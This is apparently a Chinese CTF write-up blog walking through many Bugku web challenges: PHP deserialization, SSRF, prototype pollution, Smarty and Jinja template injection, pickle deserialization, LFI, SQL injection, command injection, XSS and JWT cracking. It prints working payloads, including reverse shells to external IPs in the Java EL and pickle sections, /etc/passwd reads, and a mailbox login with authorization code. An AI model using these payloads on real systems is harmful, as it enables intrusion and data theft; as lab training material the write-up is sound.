我们的目的就是让password里面塞入的evil序列化字符串成为真正的对象。

这里用到逃逸,把";s:5:"admin";s:8:"password";s:41:"变成username,后面的O开头的自然就是内嵌对象。这个字符串长度是23,我们每次替换只能逃逸三个长度,所以只能逃逸3的倍数。所以这里使它逃逸24个长度,手动在末尾补个字符就行。

username填入8组\0\0\0

php
1O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:41:"O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}

手动补个填充用的字符k,并且补充闭合符号:";,这样才能让语法结构完整:

php
1O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:41:"k";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}";}

由于evil类有__wakeup,这里把evil对象数量+1:

php
1O:4:"User":2:{s:8:"username";s:48:"********";s:8:"password";s:41:"k";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}";}

现在往靶机POST数据:

php
1username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=k";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}

得到hint:

php
1<?php
2 $hint = "index.cgi";
3 // You can't see me~

内容是:

json
1{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-694ded5b-418e6aeb2239bd6e336ba78e" }, "origin": "171.80.2.169", "url": "http://httpbin.org/get?name=Bob" }

我刚开始没看出来,然后理解了

这是个服务器的响应头,收到参数Bob,然后就生成url,发起请求。想到SSRF

这里改成其他参数,可以看到url也变了,这里使用伪协议读取一下:

http
1/index.cgi?name=file:///etc/passwd

没有变化,是被过滤了,wp说file前面加空格就行,离谱。你们怎么那么天才

后记:这个绕过在以前刷的题我就写过。。。BUUCTF Web 刷题记录-[RoarCTF 2019]Easy Calc

老是刷过还忘了

1/index.cgi?name= file:///etc/passwd

这杨就看到了,直接猜文件在根目录:

1/index.cgi?name= file:///flag

sodirty

扫到备份www.zip

看源码,我以为是简单操作,首先新建用户,通过update修改名字,密码,年龄,符合条件后访问getflag就行

javascript
 1const Admin = {
 2    "password":process.env.password?process.env.password:"password"
 3}
 4
 5router.post("/getflag", function (req, res, next) {
 6    if (req.body.password === undefined || req.body.password === req.session.challenger.password){
 7        res.send("登录失败");
 8    }else{
 9        if(req.session.challenger.age > 79){
10            res.send("糟老头子坏滴很");
11        }
12        let key = req.body.key.toString();
13        let password = req.body.password.toString();
14        if(Admin[key] === password){
15            res.send(process.env.flag ? process.env.flag : "flag{test}");
16        }else {
17            res.send("密码错误,请使用管理员用户名登录.");
18        }
19    }
20
21});

但是这里要求Admin常量key键对应的值要为请求体传入的password,Admin就一个键,默认是env里面的。这里蒙不中的。

知识点是原型链污染

update:

json
1{
2	"attrkey":"__proto__.newpsw",
3	"attrval":"111222"
4}

就是我在update里面修改原型的值,然后getflag:

json
1{
2	"key":"newpsw",
3	"password":"111222"
4}

Admin中没有这个键,它就会向原链找,最终找到我们修改的那个,然后登录成功。

知识点请看:狼组知识库 - nodejs原型链污染

Java EL表达式注入

知识点参考:Drunkbaby - Java 之 EL 表达式注入

writeup:ailx10 - Bugku-CTF-Java EL表达式注入

在那个输入IP的地方填写:

java
1''.getClass().forName('java.lang.Run'+'time').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Run'+'time').getMethod('getRu'+'ntime').invoke(null),'nc 111.231.104.121 12138 -e /bin/sh'))

反弹shell的格式就是题目提示的。

以后细学,这些貌似在特招里不常见

社工-初步收集

有后台,下载辅助软件,逆向或者抓包都能得到邮箱账号和一个授权码:

1bugkuku@163.com
2XSLROCPMNWWZQDZL

这个实际上是能登录邮箱的,但是被前人删除了授权码,听说还有删关键信息邮件的,官方有补档,但是没办法每次监控邮箱授权码有没有被篡改。

我登不上,看其他wp知道密码是:mara / 20010206,正经做是登录邮箱后翻邮件找到记录关键信息的,然后按生日生成密码,进行爆破。

登录上之后,在设置里能翻到flag


第四页

ez_java_serialize

Java题,留着吧

聪明的php

随便传个参就显示源码:

php
 1include('./libs/Smarty.class.php');
 2echo "pass a parameter and maybe the flag file's filename is random :>";
 3$smarty = new Smarty();
 4if($_GET){
 5    highlight_file('index.php');
 6    foreach ($_GET AS $key => $value)
 7    {
 8        print $key."\n";
 9        if(preg_match("/flag|\/flag/i", $value)){
10            
11            $smarty->display('./template.html');
12
13
14        }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
15
16
17            $smarty->display('./template.html');            
18            
19        }else{
20            $smarty->display("eval:".$value);
21        }
22        
23    }
24}
25?> 

foreach ($_GET AS $key => $value)意思是get传进去的参数组成KV结构,迭代每个key

看了评论才知道Smarty的模板注入,注入点在最后一个$value。他的display方法会造成模板注入,格式是{php函数}

由于提示了flag名是随机的,所以需要查目录,评论用的函数是passthru

passthru是PHP语言中一个常用的系统调用函数,其能够执行系统命令并将结果直接输出到浏览器,也就是说,它的输出是直接传送到输出流而不是通过函数的返回值实现。

php
1$command = "ls -al";
2passthru($command);

上面的代码通过passthru函数执行了linux系统的ls命令,将结果直接输出在浏览器中。

传入{passthru("ls /")}可查看目录,使用{passthru("tac /_31545")}即可

第二种是:{var_dump(scandir("/"))}查看目录,{show_source("/_31545")}来读文件

Python Pickle Unserializer

知识点看好兄弟的:dr0n - python反序列化

扫描到source路径有源码:

python
 1#!/usr/bin/python3 
 2# -*- coding: UTF-8 -*- 
 3""" 
 4@ Author: HeliantHuS 
 5@ Codes are far away from bugs with the animal protecting 
 6@ Time: 2021-08-05 
 7@ FileName: main.py 
 8""" 
 9import pickle 
10import base64 
11from flask import Flask, request 
12app = Flask(__name__) 
13@app.route("/", methods=["GET"]) 
14def index(): 
15    return """
16Not Found
17The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.
18
19""", 666, [("TIPS", "/source")] 
20
21@app.route("/source", methods=["GET"]) 
22def source(): 
23    with open(__file__, "r") as fp: 
24        return fp.read() 
25@app.route("/flag", methods=["PUT"]) 
26def get_flag(): 
27    try: 
28        data = request.json 
29        if data: 
30            return pickle.loads(base64.b64decode(data["payload"])) 
31        return "MISSED" 
32    except: 
33        return "OH NO!!!" 
34if __name__ == '__main__': 
35    app.run(host="0.0.0.0", port=80)

不太明白怎么不输出,能return missed,为什么上一个return不能返回我的whoami呢?

我传入了json,为啥还missed

这里看的wp:

使用生成payload的脚本:

python
 1import pickle
 2import base64
 3import subprocess
 4
 5class Exploit:
 6    def __reduce__(self):
 7        # 返回一个可调用对象和其参数
 8        return (subprocess.call, (["python3","-c",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("144.34.162.13",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'],))
 9
10# 创建 payload
11exploit = Exploit()
12payload = base64.b64encode(pickle.dumps(exploit)).decode()
13print(payload)

然后BP发包就行,源码里指定请求方式用PUT,put和post格式一样的,注意mime改一下application/json

这题以后细看吧,先放着

Java Fastjson Unserialize

先放着

CaaS1

源码:

python
 1#!/usr/bin/env python3
 2from flask import Flask, request, render_template, render_template_string, redirect
 3import subprocess
 4import urllib
 5
 6app = Flask(__name__)
 7
 8def blacklist(inp):
 9    blacklist = ['mro','url','join','attr','dict','()','init','import','os','system','lipsum','current_app','globals','subclasses','|','getitem','popen','read','ls','flag.txt','cycler','[]','0','1','2','3','4','5','6','7','8','9','=','+',':','update','config','self','class','%','#']
10    for b in blacklist:
11        if b in inp:
12            return "Blacklisted word!"
13    if len(inp) <= 70:
14        return inp
15    if len(inp) > 70:
16        return "Input too long!"
17
18@app.route('/')
19def main():
20    return redirect('/generate')
21
22@app.route('/generate',methods=['GET','POST'])
23def generate_certificate():
24    if request.method == 'GET':
25        return render_template('generate_certificate.html')
26    elif request.method == 'POST':
27        name = blacklist(request.values['name'])
28        teamname = request.values['team_name']
29        return render_template_string(f'<p>Haha! No certificate for {name}</p>')
30
31if __name__ == '__main__':
32    app.run(host='0.0.0.0', port=80)

模板注入点在{name}

焚靖也不行了

先放着

钱花了,先偷个payload吧:

python
1name={{g.pop["__global""s__"].__builtins__.eval(request.form.team_name)}}&team_name=__import__("os").popen("cat flag.txt").read()

CBC

扫到.index.php.swp,使用vim -r .index.php.swp恢复文件,然后:w 1.txt保存到新文件。

源码:

php+HTML
  1<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2<html>
  3<head>
  4<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  5<title>Login Form</title>
  6<link href="static/css/style.css" rel="stylesheet" type="text/css" />
  7<script type="text/javascript" src="static/js/jquery.min.js"></script>
  8<script type="text/javascript">
  9$(document).ready(function() {
 10	$(".username").focus(function() {
 11		$(".user-icon").css("left","-48px");
 12	});
 13	$(".username").blur(function() {
 14		$(".user-icon").css("left","0px");
 15	});
 16
 17	$(".password").focus(function() {
 18		$(".pass-icon").css("left","-48px");
 19	});
 20	$(".password").blur(function() {
 21		$(".pass-icon").css("left","0px");
 22	});
 23});
 24</script>
 25</head>
 26
 27<?php
 28define("SECRET_KEY", file_get_contents('/root/key'));
 29define("METHOD", "aes-128-cbc");
 30session_start();
 31
 32function get_random_iv(){
 33    $random_iv='';
 34    for($i=0;$i<16;$i++){
 35        $random_iv.=chr(rand(1,255));
 36    }
 37    return $random_iv;
 38}
 39
 40function login($info){
 41    $iv = get_random_iv();
 42    $plain = serialize($info);
 43    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
 44    $_SESSION['username'] = $info['username'];
 45    setcookie("iv", base64_encode($iv));
 46    setcookie("cipher", base64_encode($cipher));
 47}
 48
 49function check_login(){
 50    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
 51        $cipher = base64_decode($_COOKIE['cipher']);
 52        $iv = base64_decode($_COOKIE["iv"]);
 53        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
 54            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
 55            $_SESSION['username'] = $info['username'];
 56        }else{
 57            die("ERROR!");
 58        }
 59    }
 60}
 61
 62function show_homepage(){
 63    if ($_SESSION["username"]==='admin'){
 64        echo '<p>Hello admin</p>';
 65        echo '<p>Flag is $flag</p>';
 66    }else{
 67        echo '<p>hello '.$_SESSION['username'].'</p>';
 68        echo '<p>Only admin can see flag</p>';
 69    }
 70    echo '<p><a href="loginout.php">Log out</a></p>';
 71}
 72
 73if(isset($_POST['username']) && isset($_POST['password'])){
 74    $username = (string)$_POST['username'];
 75    $password = (string)$_POST['password'];
 76    if($username === 'admin'){
 77        exit('<p>admin are not allowed to login</p>');
 78    }else{
 79        $info = array('username'=>$username,'password'=>$password);
 80        login($info);
 81        show_homepage();
 82    }
 83}else{
 84    if(isset($_SESSION["username"])){
 85        check_login();
 86        show_homepage();
 87    }else{
 88        echo '<body class="login-body">
 89                <div id="wrapper">
 90                    <div class="user-icon"></div>
 91                    <div class="pass-icon"></div>
 92                    <form name="login-form" class="login-form" action="" method="post">
 93                        <div class="header">
 94                        <h1>Login Form</h1>
 95                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
 96                        </div>
 97                        <div class="content">
 98                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
 99                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
100                        </div>
101                        <div class="footer">
102                        <input type="submit" name="submit" value="Login" class="button" />
103                        </div>
104                    </form>
105                </div>
106            </body>';
107    }
108}
109?>
110</html>

有点难,CBC没想到可以这样攻击,放个wp,以后再来做:Allard_ - Bugku Login4 (CBC字节翻转攻击)

先放着

noteasytrick

提示说 fastcoll 内置类反序列化

完全没听说过的东西,先放着

简单的Include

伪协议读取index.php,源码:

php
 1if (isset($page)) {
 2    // WAF 1: 禁止目录遍历
 3    if (strpos($page, "..") !== false) {
 4        die("<div class='notice'>Hacker deteced! [No Traversal]</div>");
 5    }
 6
 7    // WAF 2: 禁止直接读取flag
 8    if (strpos($page, "flag") !== false) {
 9        die("<div class='notice'>Hacker deteced! [No Flag]</div>");
10    }
11
12    // 漏洞点
13    include($page);
14
15}

这里include了,php伪协议是读网站文件的。PHP 将 Data URL 内容当作 PHP 代码处理,直接用data伪协议执行命令

查目录和输出flag

php
1<?php system("ls /")?>
2<?php system("cat /fla?")?>

这里也能用scandir,var_dump,print_r等输出。

也能用短标签<?=,相当于<?php echo,这里短一点就:<?=exec("cat /fla?")?>

对了,system函数是直接执行系统命令,系统的任何回显都会被打印出来,这个函数在命令执行完返回的是命令退出状态。

而exec和shell_exec是返回命令结果,需要使用var_dump,print_r,echo等函数打印出来。

msg_board

先放着

好长好难,我用AI做不出来,AI说的我改造一下发留言了,伪装我写出来了

放个源码,以后再搞吧

php
  1<?php
  2session_start();
  3
  4class User {
  5    private $conn;
  6    
  7    public $id;
  8    public $username;
  9    public $password;
 10    
 11    public function __construct($id = null, $un="ctfer", $pwd="123" ) {
 12        $this->conn = new PDO_connect();
 13        if ($id) {
 14            $this->id = $id;
 15            $this->username = $un;
 16            $this->password = $pwd;
 17        }
 18    }
 19    
 20    public function log() {
 21        try {
 22            $sql = "SELECT * FROM users WHERE username = :username";
 23            $pdo = $this->conn->get_connection();
 24            $stmt = $pdo->prepare($sql);
 25            
 26            $stmt->bindParam(':username', $this->username);
 27            $stmt->execute();
 28            $result = $stmt->fetch();
 29            return $result;
 30        } catch (PDOException $e) {
 31            echo $e->getMessage();
 32        }
 33    }
 34    
 35    public function __destruct() {
 36        if ($this->username) {
 37            $results = $this->log();
 38            $log_mess = serialize($results);
 39            
 40            file_put_contents("log/" . md5($this->username) . ".txt", $log_mess . " at " . time() ."\n", FILE_APPEND);
 41        }
 42    }
 43}
 44
 45class UserMessage {
 46    private $filePath;
 47    
 48    public function __construct() {
 49        $this->filePath = "upload/ctfer_message.txt";
 50    }
 51    
 52    public function getFilePath() {
 53        return $this->filePath;
 54    }
 55    
 56    public function writeMessage($message) {
 57        $result = file_put_contents($this->filePath, $message);
 58        return $result !== false;
 59    }
 60    
 61    public function deleteMessage($path) {
 62        $path = $path . ".txt";
 63        if (file_exists($path)) {
 64            $result = unlink($path);
 65            return $result !== false;
 66        }
 67        return false;
 68    }
 69    
 70    public function __set($name, $value) {
 71        $this->$name = $value;
 72        if ($this->filePath && file_exists($this->filePath)) {
 73            $logContent = file_get_contents($this->filePath) . "</br>";
 74            file_put_contents("/var/www/html/log/" . md5($this->filePath) . ".txt", $logContent);
 75        }
 76    }
 77}
 78
 79class PDO_connect {
 80    private $pdo;
 81    public $con_options = [];
 82    public $smt;
 83    public $conn = null;
 84    
 85    public function __construct() {
 86        $this->con_options = array(
 87            "dsn" => "sqlite:db.db",
 88            'user' => 'ctf',
 89            'password' => '123456',
 90            'charset' => 'utf8',
 91            'options' => array(
 92                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
 93                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
 94            )
 95        );
 96    }
 97    
 98    public function get_connection() {
 99        try {
100            $this->conn = new PDO(
101                $this->con_options['dsn'],
102                $this->con_options['user'],
103                $this->con_options['password']
104            );
105            
106            if ($this->con_options['options'][PDO::ATTR_ERRMODE]) {
107                $this->conn->setAttribute(PDO::ATTR_ERRMODE, $this->con_options['options'][PDO::ATTR_ERRMODE]);
108            }
109            
110            if (isset($this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE])) {
111                $this->conn->setAttribute(
112                    PDO::ATTR_DEFAULT_FETCH_MODE,
113                    $this->con_options['options'][PDO::ATTR_DEFAULT_FETCH_MODE]
114                );
115            }
116            
117        } catch (PDOException $e) {
118            echo 'Connection Error: ' . $e->getMessage();
119        }
120        return $this->conn;
121    }
122}
123
124
125$user = new User(1, "ctfer");
126$userMessage = new UserMessage($user->username);
127
128$action = $_GET['action'] ?? '';
129
130switch ($action) {
131    case 'write':
132        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
133            $message = base64_decode($_POST['message']) ?? '';
134            if ($userMessage->writeMessage($message)) {
135                echo "留言已保存!";
136                $_SESSION['message_path'] = $userMessage->getFilePath();
137            } else {
138                echo "保存失败";
139            }
140        }
141        break;
142        
143    case 'view':
144        $path = $userMessage->getFilePath();
145        if (file_exists($path)) {
146            echo "留言内容:<br>";
147            echo htmlspecialchars(file_get_contents($path));
148        } else {
149            echo "暂无留言";
150        }
151        break;
152        
153    case 'delete':
154        $message = $_POST['message_path'] ? $_POST['message_path'] : $_SESSION['message_path'];
155        $msg = $userMessage->deleteMessage($message);
156        if ($msg) {
157            echo "留言已成功删除";
158        } else {
159            echo "操作失败,请重新尝试";
160        }
161        break;
162        
163    default:
164        highlight_file(__FILE__);
165}
166
167
168?>

平台Web刷完了


比赛真题

inspect-me

Ctrl + U

my-first-sqli

sql
11'or 1=1--+

万能密码

post-the-get

F12 改一下表单的GET为POST,删除input的disabled

内容随便写

sqli-0x1

略难,主要代码有的没看懂,而且不知道%09绕过。但是我知道用union select造假数据

F12提示:/pls_help

源码:注释是我写的

php+HTML
 1<?php
 2error_reporting(0);
 3error_log(0);
 4
 5require_once("flag.php");
 6// waf
 7function is_trying_to_hak_me($str)
 8{   
 9    $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
10    // 若含单引号
11    if (strpos($str, "'") !== false) {
12        //若 非 字母'字母 结构
13        if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
14            return true;
15        }
16    }
17    //遍历黑名单,存在就true
18    foreach ($blacklist as $token) {
19        if (strpos($str, $token) !== false) return true;
20    }
21    return false;
22}
23
24if (isset($_GET["pls_help"])) {
25    highlight_file(__FILE__);
26    exit;
27}
28   
29if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
30    $user = $_POST["user"];
31    $pass = $_POST["pass"];
32    //只对user过滤
33    if (is_trying_to_hak_me($user)) {
34        die("why u bully me");
35    }
36
37    $db = new SQLite3("/var/db.sqlite");
38    $result = $db->query("SELECT * FROM users WHERE username='$user'");
39    //语法出错就die
40    if ($result === false) die("pls dont break me");
41    //sql语句里面匹配数据
42    else $result = $result->fetchArray();
43
44    if ($result) {
45        //$password分为两部分
46        $split = explode('$', $result["password"]);
47        // 前一部分是hash值
48        $password_hash = $split[0];
49        // 后面是盐
50        $salt = $split[1];
51        //若 输入的密码拼接盐,sha256之后等于输入的密码前半部分,就登录成功
52        if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
53        else $err = "Wrong password";
54    }
55    else $err = "No such user";
56}
57?>
58
59<!DOCTYPE html>
60<html>
61<head>
62    <title>Hack.INI 9th - SQLi</title>
63</head>
64<body>
65    <?php if (isset($logged_in) && $logged_in): ?>
66    <p>Welcome back admin! Have a flag: <?=htmlspecialchars($flag);?><p>
67    <?php else: ?>
68    <form method="post">
69        <input type="text" placeholder="Username" name="user" required>
70        <input type="password" placeholder="Password" name="pass" required>
71        <button type="submit">Login</button>
72        <br><br>
73        <?php if (isset($err)) echo $err; ?>
74    </form>
75    <?php endif; ?>
76    <!-- <a href="/?pls_help">get some help</a> -->
77</body>
78</html>

过滤那里,只过滤user,并且user可以有单引号,但是必须是被字母数字夹住。例如a'or这种

这里先执行

sql
1pass=123456&user=admin'order by 2;

写3报错,说明只有俩字段,根据后面那个fetcharray,我猜测就是username和password

这里随便构造密码和盐,我设置的密码是pass,盐是cc

passcc的sha256是:

12118ddac2ec2e1f9c1ead1fb8e32ad75169ea98579631d9d70cbb4ff07f8d934

所以构造:

html
1pass=pass&user=adm'union select 'a','2118ddac2ec2e1f9c1ead1fb8e32ad75169ea98579631d9d70cbb4ff07f8d934$cc';

此时就无法通过waf,因为存在空格单引号,这里空格用%09绕过:

html
1pass=pass&user=adm'union%09select%09'a','2118ddac2ec2e1f9c1ead1fb8e32ad75169ea98579631d9d70cbb4ff07f8d934$cc';

这里也可以用%0a绕过,参考:

URL编码绕过(Web场景)

baby lfi

英语,说支持两个语言,让传入language parameter,还提示了passwd

这里写:

http
1/?language=/etc/passwd

baby lfi 2

需要点脑洞,就提示了languages目录,居然要写:

http
1./languages/../../../../../../etc/passwd

challenge-creator

难,原型链污染加CSP,先放着

HEADache

太垃圾了这题,请求头里面写:

http
1Wanna-Something: can-i-have-a-flag-please

至于为什么,猜的

lfi

../置空,双写绕过

http
1/?language=....//....//....//....//....//etc/passwd

nextGen 1

有个JS,研究半天:

js
 1function myFunc(eventObj) {
 2    var xhttp = new XMLHttpRequest();
 3    xhttp.onreadystatechange = function () {
 4      if (this.readyState == 4 && this.status == 200) {
 5        document.getElementById("content").innerHTML = xhttp.responseText;
 6      }
 7    };
 8    xhttp.open("POST", '/request');
 9    xhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
10    xhttp.send("service=" + this.attributes.link.value);
11
12  }
13
14  var dep = document.getElementsByClassName('department');
15  for (var i = 0; i < dep.length; i++) {
16    dep[i].addEventListener('click', myFunc);
17  }

就是那个下拉菜单,点击每一个都会调用myFunc,函数内容说什么没看懂,但是看到if结束后,有个发起post 的请求,那个send应该是post的body内容。所以在bp里面一直写service,但一直报服务器内部错误:Internal Server Error

所以猜测是SSRF打内网,这里用data协议:

http
1service=data://text/plain;127.0.0.1

回显127.0.0.1,立马使用file协议,果然出来了:

http
1service=file:///flag.txt

根据那个js,别忘了post的路径是/request

nextGen 2

相比上一题必须用IP访问了,并且禁用了127.0.0.1

这里可以用各种变体:

bash
1service=file://127.0.00.1/flag.txt
2service=file://127.0.0.01/flag.txt
3service=file://127.1/flag.txt
4service=file://0177.1/flag.txt # 八进制
5service=file://0x7f.1/flag.txt # 十六进制,注意这里不能大写
6service=file://2130706433/flag.txt # 十进制整数形式

Whois

不会,看了wp发现很简单,query.php不带任何参数,居然显示源码:

php+HTML
 1<?php
 2
 3error_reporting(0);
 4
 5$output = null;
 6$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
 7$query_regex = "/^[0-9a-zA-Z\. ]+$/";
 8
 9
10if (isset($_GET['query']) && isset($_GET['host']) && 
11      is_string($_GET['query']) && is_string($_GET['host'])) {
12
13  $query = $_GET['query'];
14  $host = $_GET['host'];
15  
16  if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {
17    $output = "Invalid query or whois host";
18  } else {
19    $output = shell_exec("/usr/bin/whois -h ${host} ${query}");
20  }
21
22} 
23else {
24  highlight_file(__FILE__);
25  exit;
26}
27
28?>
29
30<!DOCTYPE html>
31<html>
32  <head>
33    <title>Whois</title>
34  </head>
35  <body>
36    <pre><?= htmlspecialchars($output) ?></pre>
37  </body>
38</html>

就是要求都要字母数字组成,前面那个带点,无所谓。主要是他后面会拼接命令。

这里用%09(Tab制表符)不行,并没有让命令隔开,可以用0a(换行符),后面直接跟ls

bash
1/query.php?host=whois.verisign-grs.com%0a&query=ls

因为是直接执行命令,后面不用带分号之类的

然后有个flag,直接cat读取:

bash
1/query.php?host=whois.verisign-grs.com%0a&query=cat thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

这里能匹配成功是因为php的正则引擎,那个$符号不仅能匹配字符串末尾,还能匹配换行符。所以前面都符号,然后匹配到换行符结束。

所以,下面这种就不符合正则了:

bash
1/query.php?host=whois.verisign-grs.com%0acat&query=thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

adversal

先放着

filter-madness

源码里有info.php,打开是phpinfo,搜索flag就有

感觉是考察绕过啊,但是嫌太难给了flag?

charlottesweb

源码提示,打开是个flask源码,然后put方法访问:/super-secret-route-nobody-will-guess就行

zombie-101

试半天,以为是SSRF,看到提示:admin bot has visited your url还没反应过来

原来是XSS盗Cookie

在XSS.report网站,复制个payload进去,然后放第一个框提交,之后会跳转页面,把新页面的地址复制一下放第二个框,bot会去访问他,此时就偷到cookie了

回xss.report看flag

对于如何偷的,是这个网站自己的脚本

zombie-201-401

以后再研究

wp:https://web.archive.org/web/20230601090708/https://www.bugsbunnies.tk/2023/03/18/zombie.html

https://ctf.bugku.com/writeup/detail/id/1413.html

just-work-type

想到了jwt,没想到jwt爆破密钥

这里用的工具是jwt-tool

-C 指定爆破,-d指定字典:

bash
 1py jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOnsiYWRtaW4iOmZhbHNlLCJkYXRhIjp7InVzZXJuYW1lIjoiem9tYm8iLCJwYXNzd29yZCI6InpvbWJvIn19LCJpYXQiOjE3Njg0OTQ0NDcsImV4cCI6MTc2ODQ5ODA0N30.feEZbBp__ZCJYG1XoDrhckfs474qVHx-yZl3Gmw4MqM -d "D:\Tools\字典\SecDictionary\用户名o密码字典\TOP密码-增肥全量字典.txt" -C
 2
 3        \   \        \         \          \                    \
 4   \__   |   |  \     |\__    __| \__    __|                    |
 5         |   |   \    |      |          |       \         \     |
 6         |        \   |      |          |    __  \     __  \    |
 7  \      |      _     |      |          |   |     |   |     |   |
 8   |     |     / \    |      |          |   |     |   |     |   |
 9\        |    /   \   |      |          |\        |\        |   |
10 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
11 Version 2.3.0                \______|             @ticarpi
12
13C:\Users\Tajang/.jwt_tool/jwtconf.ini
14Original JWT:
15
16[+] 123 is the CORRECT key!
17You can tamper/fuzz the token contents (-T/-I) and sign it using:
18python3 jwt_tool.py [options here] -S hs256 -p "123"

后面我直接用这个工具改admin为true,-T是交互式修改参数

贴进去,刷新一下就行,刷新不要在F12里面修改完cookie后,再点一下hackbar的execute,因为hackbar自身就带cookie请求的,直接点的话请求头里的header还是旧的。

easy-pop

没有什么考点

php
 1<?php 
 2class lemon{
 3    protected $ClassObj;
 4    function __construct()
 5    {
 6        $this->ClassObj=new evil();
 7    }
 8    function __destruct()
 9    {
10        $this->ClassObj->action();
11    }
12}
13class normal{
14    function action(){
15        echo "<img src=\"haha.png\" alt=\"\">";
16    }
17}
18class evil{
19    private $data;
20    function action(){
21        show_source("flag.php");
22    }
23}
24$a=new lemon();
25
26print(urlencode(serialize($a)));

checkin

源代码里面,距离上方很大空间,要下滑才能看到